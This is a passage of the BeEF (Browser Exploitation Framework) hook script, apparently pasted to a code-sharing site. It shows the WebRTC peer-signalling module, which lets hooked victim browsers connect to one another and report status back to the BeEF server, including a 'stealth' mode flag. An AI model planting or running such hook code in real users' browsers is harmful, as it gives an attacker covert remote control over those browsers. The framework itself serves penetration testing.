  12078. Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
  12079. beef.debug('Set remote session description successfully');
  12080. }
  12081.  
  12082. // Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
  12083. Beefwebrtc.prototype.calleeStart = function() {
  12084. // Callee starts to process cached offer and other messages.
  12085. while (this.msgQueue.length > 0) {
  12086. this.processSignalingMessage(this.msgQueue.shift());
  12087. }
  12088. }
  12089.  
  12090. // Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
  12091. Beefwebrtc.prototype.processSignalingMessage = function(message) {
  12092. if (!this.started) {
  12093. beef.debug('peerConnection has not been created yet!');
  12094. return;
  12095. }
  12096.  
  12097. if (message.type === 'offer') {
  12098. beef.debug("Processing signalling message: OFFER");
  12099. if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
  12100. // version of FF - which no longer works
  12101. beef.debug("Moz shim here");
  12102. globalrtc[this.peerid].setRemoteDescription(
  12103. new RTCSessionDescription(message),
  12104. function() {
  12105. // globalrtc[this.peerid].createAnswer(function(answer) {
  12106. // globalrtc[this.peerid].setLocalDescription(
  12107.  
  12108. var peerid = null;
  12109.  
  12110. for (var k in beefrtcs) {
  12111. if (beefrtcs[k].allgood === false) {
  12112. peerid = beefrtcs[k].peerid;
  12113. }
  12114. }
  12115.  
  12116. globalrtc[peerid].createAnswer(function(answer) {
  12117. globalrtc[peerid].setLocalDescription(
  12118. new RTCSessionDescription(answer),
  12119. function() {
  12120. beefrtcs[peerid].sendSignalMsg(answer);
  12121. },function(error) {
  12122. beef.debug("setLocalDescription error: " + error);
  12123. });
  12124. },function(error) {
  12125. beef.debug("createAnswer error: " +error);
  12126. });
  12127. },function(error) {
  12128. beef.debug("setRemoteDescription error: " + error);
  12129. });
  12130.  
  12131. } else {
  12132. this.setRemote(message);
  12133. this.doAnswer();
  12134. }
  12135. } else if (message.type === 'answer') {
  12136. beef.debug("Processing signalling message: ANSWER");
  12137. if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
  12138. beef.debug("Moz shim here");
  12139. globalrtc[this.peerid].setRemoteDescription(
  12140. new RTCSessionDescription(message),
  12141. function() {},
  12142. function(error) {
  12143. beef.debug("setRemoteDescription error: " + error);
  12144. });
  12145. } else {
  12146. this.setRemote(message);
  12147. }
  12148. } else if (message.type === 'candidate') {
  12149. beef.debug("Processing signalling message: CANDIDATE");
  12150. var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
  12151. candidate: message.candidate});
  12152. this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
  12153. globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess,
  12154.  
  12155. this.onAddIceCandidateError);
  12156. } else if (message.type === 'bye') {
  12157. this.onRemoteHangup();
  12158. }
  12159. }
  12160.  
  12161. // Used to set the RTC remote session
  12162. Beefwebrtc.prototype.setRemote = function(message) {
  12163. globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
  12164. this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
  12165. }
  12166.  
  12167. // As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we
  12168.  
  12169. answer, as below
  12170. Beefwebrtc.prototype.doAnswer = function() {
  12171. beef.debug('Sending answer to peer.');
  12172. globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError,
  12173.  
  12174. this.sdpConstraints);
  12175. }
  12176.  
  12177. // Helper method to determine what kind of ICE Candidate we've received
  12178. Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
  12179. if (candidateSDP.indexOf("typ relay ") >= 0)
  12180. return "TURN";
  12181. if (candidateSDP.indexOf("typ srflx ") >= 0)
  12182. return "STUN";
  12183. if (candidateSDP.indexOf("typ host ") >= 0)
  12184. return "HOST";
  12185. return "UNKNOWN";
  12186. }
  12187.  
  12188. // Event handler for successful addition of ICE Candidates
  12189. Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
  12190. beef.debug('AddIceCandidate success.');
  12191. }
  12192.  
  12193. // Event handler for unsuccessful addition of ICE Candidates
  12194. Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
  12195. beef.debug('Failed to add Ice Candidate: ' + error.toString());
  12196. }
  12197.  
  12198. // If a peer hangs up (we bring down the peerconncetion via the stop() method)
  12199. Beefwebrtc.prototype.onRemoteHangup = function() {
  12200. beef.debug('Session terminated.');
  12201. this.initiator = 0;
  12202. // transitionToWaiting();
  12203. this.stop();
  12204. }
  12205.  
  12206. // Bring down the peer connection
  12207. Beefwebrtc.prototype.stop = function() {
  12208. this.started = false; // we're no longer started
  12209. this.signalingReady = false; // signalling isn't ready
  12210. globalrtc[this.peerid].close(); // close the RTCPeerConnection option
  12211. globalrtc[this.peerid] = null; // Remove it
  12212. this.msgQueue.length = 0; // clear the msgqueue
  12213. rtcstealth = false; // no longer stealth
  12214. this.allgood = false; // allgood .. NAH UH
  12215. }
  12216.  
  12217. // The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
  12218. // These are the methods which are executed via the custom extension of the hook.js
  12219. beef.webrtc = {
  12220. // Start the RTCPeerConnection process
  12221. start: function(initiator,peer,turnjson,stunservers,verbose) {
  12222. if (peer in beefrtcs) {
  12223. // If the RTC peer is not in a good state, try kickng it off again
  12224. // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects
  12225.  
  12226. :/
  12227. if (beefrtcs[peer].allgood == false) {
  12228. beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
  12229. beefrtcs[peer].initialize();
  12230. }
  12231. } else {
  12232. // Standard behaviour for new peer connections
  12233. beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
  12234. beefrtcs[peer].initialize();
  12235. }
  12236. },
  12237.  
  12238. // Check the status of all my peers ..
  12239. status: function(me) {
  12240. if (Object.keys(beefrtcs).length > 0) {
  12241. for (var k in beefrtcs) {
  12242. if (beefrtcs.hasOwnProperty(k)) {
  12243. beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
  12244. }
  12245. }
  12246. } else {
  12247. beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
  12248. }
  12249. }
  12250. }
  12251. beef.regCmp('beef.webrtc');
  12252.  
  12253.  
  12254. //
  12255. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  12256. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  12257. // See the file 'doc/COPYING' for copying permission
  12258. //
  12259.  
  12260. /*
  12261. Sometimes there are timing issues and looks like beef_init
  12262. is not called at all (always in cross-origin situations,
  12263. for example calling the hook with jquery getScript,
  12264. or sometimes with event handler injections).
  12265.  
  12266. To fix this, we call again beef_init after 1 second.
  12267. Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
  12268. antisnatchor
  12269. */
  12270. //setTimeout(beef_init, 1000);
Add Comment
Please, Sign In to add comment